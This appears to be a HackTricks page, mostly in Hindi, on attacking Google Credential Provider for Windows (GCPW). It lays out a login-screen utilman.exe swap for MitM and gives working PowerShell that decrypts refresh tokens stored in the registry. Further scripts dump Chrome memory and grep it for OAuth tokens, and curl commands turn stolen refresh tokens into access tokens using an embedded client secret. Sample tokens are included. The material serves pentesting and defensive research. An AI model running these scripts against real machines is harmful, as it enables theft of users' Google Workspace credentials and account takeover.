GCPW - Google Credential Provider for Windows

Support HackTricks

Basic Information

यह एकल साइन-ऑन है जो Google Workspaces प्रदान करता है ताकि उपयोगकर्ता अपने Windows PCs में अपने Workspace क्रेडेंशियल्स का उपयोग करके लॉगिन कर सकें। इसके अलावा, यह कुछ स्थानों पर Google Workspace तक पहुँचने के लिए टोकन संग्रहीत करेगा।

ध्यान दें कि Winpeas GCPW का पता लगाने, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करने और यहाँ तक कि टोकन प्राप्त करने में सक्षम है।

GCPW - MitM

जब एक उपयोगकर्ता GCPW के माध्यम से Google Workspace के साथ समन्वयित Windows PC तक पहुँचता है, तो उसे एक सामान्य लॉगिन फ़ॉर्म पूरा करना होगा। यह लॉगिन फ़ॉर्म एक OAuth कोड लौटाएगा जिसे PC एक अनुरोध में रिफ्रेश टोकन के लिए विनिमय करेगा जैसे:

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

नई पंक्तियाँ इसे अधिक पठनीय बनाने के लिए जोड़ी गई हैं।

यह एक MitM करने के लिए संभव था Proxifier को PC में स्थापित करके, utilman.exe बाइनरी को cmd.exe के साथ ओवरराइट करके और Windows लॉगिन पृष्ठ में एक्सेसिबिलिटी फीचर्स को निष्पादित करके, जो एक CMD को निष्पादित करेगा जिससे आप Proxifier को लॉन्च और कॉन्फ़िगर कर सकते हैं। QUICK UDP ट्रैफ़िक को Proxifier में ब्लॉक करना न भूलें ताकि यह TCP संचार में डाउनग्रेड हो जाए और आप इसे देख सकें।

"Serviced and other users" में दोनों विकल्पों को भी कॉन्फ़िगर करें और Windows में Burp CA प्रमाणपत्र स्थापित करें।

इसके अलावा HKLM:\SOFTWARE\Google\GCPW में enable_verbose_logging = 1 और log_file_path = C:\Public\gcpw.log कुंजियों को जोड़कर कुछ लॉग्स स्टोर करना संभव है।

GCPW - फिंगरप्रिंट

यह जांचना संभव है कि क्या GCPW किसी डिवाइस में स्थापित है, यह जांचकर कि क्या निम्नलिखित प्रक्रिया मौजूद है या क्या निम्नलिखित रजिस्ट्री कुंजियाँ मौजूद हैं:

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

In HKCU:\SOFTWARE\Google\Accounts यह संभव है कि उपयोगकर्ता का ईमेल और एन्क्रिप्टेड refresh token तक पहुंचा जा सके यदि उपयोगकर्ता हाल ही में लॉग इन हुआ हो।

In HKLM:\SOFTWARE\Google\GCPW\Users यह संभव है कि domains को खोजा जा सके जो domains_allowed कुंजी में लॉगिन करने की अनुमति है और उपकुंजियों में उपयोगकर्ता के बारे में जानकारी जैसे ईमेल, चित्र, उपयोगकर्ता नाम, टोकन जीवनकाल, टोकन हैंडल आदि मिल सकती है...

टोकन हैंडल एक टोकन है जो eth. से शुरू होता है और जिससे कुछ जानकारी निकाली जा सकती है जैसे:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 12880152
}

यह भी संभव है कि एक अनुरोध के साथ एक एक्सेस टोकन के टोकन हैंडल को खोजा जाए:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'access_token=<access token>'
# Example response
{
"issued_to": "77185425430.apps.googleusercontent.com",
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 1327,
"access_type": "offline",
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

जितना मुझे पता है, टोकन हैंडल से रिफ्रेश टोकन या एक्सेस टोकन प्राप्त करना संभव नहीं है।

इसके अलावा, फ़ाइल C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse एक json है जिसमें विभिन्न सेटिंग्स की जानकारी होती है जैसे enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (यदि Workspace के कई उपयोगकर्ता कंप्यूटर में लॉगिन कर सकते हैं) और validityPeriodDays (दिनों की संख्या जब एक उपयोगकर्ता को सीधे Google के साथ फिर से प्रमाणित होने की आवश्यकता नहीं होती)।

GCPW - टोकन प्राप्त करें

GCPW - रजिस्ट्री रिफ्रेश टोकन

रजिस्ट्री HKCU:\SOFTWARE\Google\Accounts के अंदर कुछ खातों को refresh_token के साथ एन्क्रिप्टेड पाया जा सकता है। विधि ProtectedData.Unprotect इसे आसानी से डिक्रिप्ट कर सकती है।

डेटा प्राप्त करें HKCU:\SOFTWARE\Google\Accounts और रिफ्रेश_टोकन को डिक्रिप्ट करें

```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security

Base registry path

$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

उदाहरण आउट:

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI


</div>

जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=FEQxHRRP\_5I) में समझाया गया है, यदि आप रजिस्ट्री में टोकन नहीं पाते हैं, तो **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** से मान को संशोधित (या हटाने) की संभावना है और अगली बार जब उपयोगकर्ता कंप्यूटर तक पहुंचता है, तो उसे फिर से लॉगिन करने की आवश्यकता होगी और **टोकन पिछले रजिस्ट्री में संग्रहीत होगा**।

### GCPW - डिस्क रिफ्रेश टोकन

फाइल **`%LocalAppData%\Google\Chrome\User Data\Local State`** में **`refresh_tokens`** को डिक्रिप्ट करने के लिए कुंजी संग्रहीत होती है जो उपयोगकर्ता के **Google Chrome प्रोफाइल** के अंदर स्थित होती है जैसे:

* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

इन टोकनों को उनके डिक्रिप्टेड रूप में एक्सेस करने के लिए कुछ **C# कोड** [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) में पाया जा सकता है।

इसके अलावा, एन्क्रिप्टिंग इस कोड में पाई जा सकती है: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216)

यह देखा जा सकता है कि AESGCM का उपयोग किया गया है, एन्क्रिप्टेड टोकन एक **संस्करण** (**`v10`** इस समय) से शुरू होता है, फिर इसमें [**12B का नॉनस**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42) होता है, और फिर इसमें **साइफर-टेक्स्ट** होता है जिसमें अंतिम **mac 16B** होता है।

### GCPW - प्रक्रियाओं की मेमोरी से टोकन डंप करना

निम्नलिखित स्क्रिप्ट का उपयोग हर **Chrome** प्रक्रिया को **डंप** करने के लिए किया जा सकता है, `procdump` का उपयोग करके, **स्ट्रिंग्स** को निकालें और फिर **एक्सेस और रिफ्रेश टोकन** से संबंधित स्ट्रिंग्स के लिए **खोजें**। यदि Chrome किसी Google साइट से जुड़ा है, तो कुछ **प्रक्रिया मेमोरी में रिफ्रेश और/या एक्सेस टोकन संग्रहीत कर रही होगी!**

<details>

<summary>Chrome प्रक्रियाओं को डंप करें और टोकन खोजें</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

मैंने gcpw_extension.exe के साथ वही कोशिश की लेकिन यह कोई टोकन नहीं मिला।

किसी कारण से, कुछ निकाले गए एक्सेस टोकन मान्य नहीं होंगे (हालांकि कुछ होंगे)। मैंने डंप से मान्य टोकन प्राप्त करने के लिए 1-1 करके अक्षर हटाने के लिए निम्नलिखित स्क्रिप्ट का प्रयास किया। यह मुझे कभी भी मान्य टोकन खोजने में मदद नहीं मिली, लेकिन मुझे लगता है कि यह मदद कर सकता है:

एक्सेस टोकन की जांच करें अक्षरों को 1-1 करके हटाकर

```bash #!/bin/bash

Define the initial access token

access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

Define the URL for the request

url="https://www.googleapis.com/oauth2/v1/tokeninfo"

Loop until the token is 20 characters or the response doesn't contain "error_description"

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

Check if the response contains "error_description"

if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo "Token length: ${#access_token}" done

echo "Error: Token invalid or too short"

</details>

### GCPW - रिफ्रेश टोकन से एक्सेस टोकन उत्पन्न करना

रिफ्रेश टोकन का उपयोग करके, इसे और निम्नलिखित कमांड में निर्दिष्ट क्लाइंट आईडी और क्लाइंट सीक्रेट का उपयोग करके एक्सेस टोकन उत्पन्न करना संभव है:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCPW - Scopes

ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, एक्सेस टोकन के लिए किसी भी स्कोप का अनुरोध करना संभव नहीं है क्योंकि आप केवल उन स्कोप का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं

इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।

डिफ़ॉल्ट रूप से GCPW उपयोगकर्ता के रूप में हर संभावित OAuth स्कोप तक पहुंच नहीं होगी, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग करके हम उन स्कोप को खोज सकते हैं जिन्हें refresh_token के साथ access_token उत्पन्न करने के लिए उपयोग किया जा सकता है:

Last updated